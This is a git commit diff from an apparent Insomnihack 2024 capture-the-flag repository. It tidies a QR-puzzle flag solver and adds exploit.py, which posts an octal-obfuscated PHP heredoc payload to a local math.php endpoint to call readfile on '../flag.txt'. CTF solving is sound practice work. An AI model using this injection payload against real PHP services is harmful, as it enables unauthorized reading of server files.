polished exploits

.gitignore

@@ -12,3 +12,5 @@ insomnihack24/mobile/CryptoTest/out/
 insomnihack24/misc/puzzled/solutions/
 
 insomnihack24/misc/puzzled/pieces/
+
+insomnihack24/web/mathematical/.venv/

insomnihack24/misc/puzzled/puzzled.py

@@ -1,7 +1,10 @@
+#!/Users/cato/Code/Cato447/ctf/insomnihack24/misc/puzzled/.venv/bin/python3
+
 from PIL import Image
 import random
 import itertools
 from pyzbar.pyzbar import decode
+import re
 
 
 def cutPieces(image_path, output_name_scheme):
@@ -10,7 +13,7 @@ def cutPieces(image_path, output_name_scheme):
 
     # Get the size of the image
     width, height = original_image.size
-    assert (width == height)
+    assert width == height
 
     # Calculate the size of each grid cell
     cell_width = width // 3
@@ -60,7 +63,7 @@ def generateQRCodes(topLeft, topRight, bottomLeft, pieces):
         i += 1
 
 
-def decodeQRCode(image_path):
+def decodeQRCode(image_path) -> str | None:
     image = Image.open(image_path)
 
     # Decode the QR code
@@ -70,8 +73,9 @@ def decodeQRCode(image_path):
     if decoded_objects:
         # Iterate through all the detected QR codes and print their data
         for obj in decoded_objects:
-            print("Data:", obj.data.decode('utf-8'))
+            return obj.data.decode("utf-8")
-            print("Type:", obj.type)
+    else:
+        return None
 
 
 def shuffle3x3GridImage(image_path, output_path):
@@ -80,7 +84,7 @@ def shuffle3x3GridImage(image_path, output_path):
 
     # Get the size of the image
     width, height = original_image.size
-    assert (width == 234 and height == 234)
+    assert width == 234 and height == 234
 
     # Calculate the size of each grid cell
     cell_width = width // 3
@@ -121,6 +125,15 @@ def shuffle3x3GridImage(image_path, output_path):
 
 # cutPieces("puzzledVersion25QRcode.png", "puzzledVersion25QRcode_piece{}.png")
 
+flag_pattern = r"INS{.*}"
+pattern = re.compile(flag_pattern)
+
 paths = [f"solutions/possible_qr{i}.png" for i in range(720)]
 for path in paths:
-    decodeQRCode(path)
+    data = decodeQRCode(path)
+    if data is None:
+        continue
+    possible_flag = pattern.search(data)
+    if possible_flag:
+        print(possible_flag.group())
+        break

insomnihack24/pwn/promis/.gitignore

@@ -4,3 +4,4 @@ libc.so.6
 gadgets.txt
 dump.txt
 promis_patched
+*.bndb

insomnihack24/web/mathematical/.gitignore

@@ -0,0 +1,7 @@
+php/
+www/
+docker-compose.yml
+.venv/
+flag.txt
+Dockerfile
+

insomnihack24/web/mathematical/deploy-docker.sh

@@ -0,0 +1,3 @@
+docker-compose rm
+docker-compose up -d
+docker rmi php_web -f 

insomnihack24/web/mathematical/exploit.py

@@ -0,0 +1,21 @@
+#! /usr/bin/env python3
+
+import requests
+
+s = requests.Session()
+
+payload = """(<<<abs
+    \\162\\145\\141\\144\\146\\151\\154\\145
+    abs)(<<<abs
+    \\56\\56\\57\\146\\154\\141\\147\\56\\164\\170\\164
+    abs)"""
+
+res = s.post(
+    "http://localhost/math.php",
+    data={"expression": payload},
+    headers={"Content-Type": "application/x-www-form-urlencoded"},
+)
+
+
+print(res.text)
+